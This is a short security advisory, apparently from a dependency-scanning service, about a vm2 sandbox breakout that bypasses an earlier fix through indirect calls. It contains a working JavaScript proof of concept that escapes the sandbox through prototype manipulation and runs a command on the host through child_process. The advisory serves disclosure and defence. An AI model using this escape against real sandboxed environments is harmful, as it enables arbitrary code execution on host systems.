npm · vm2
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.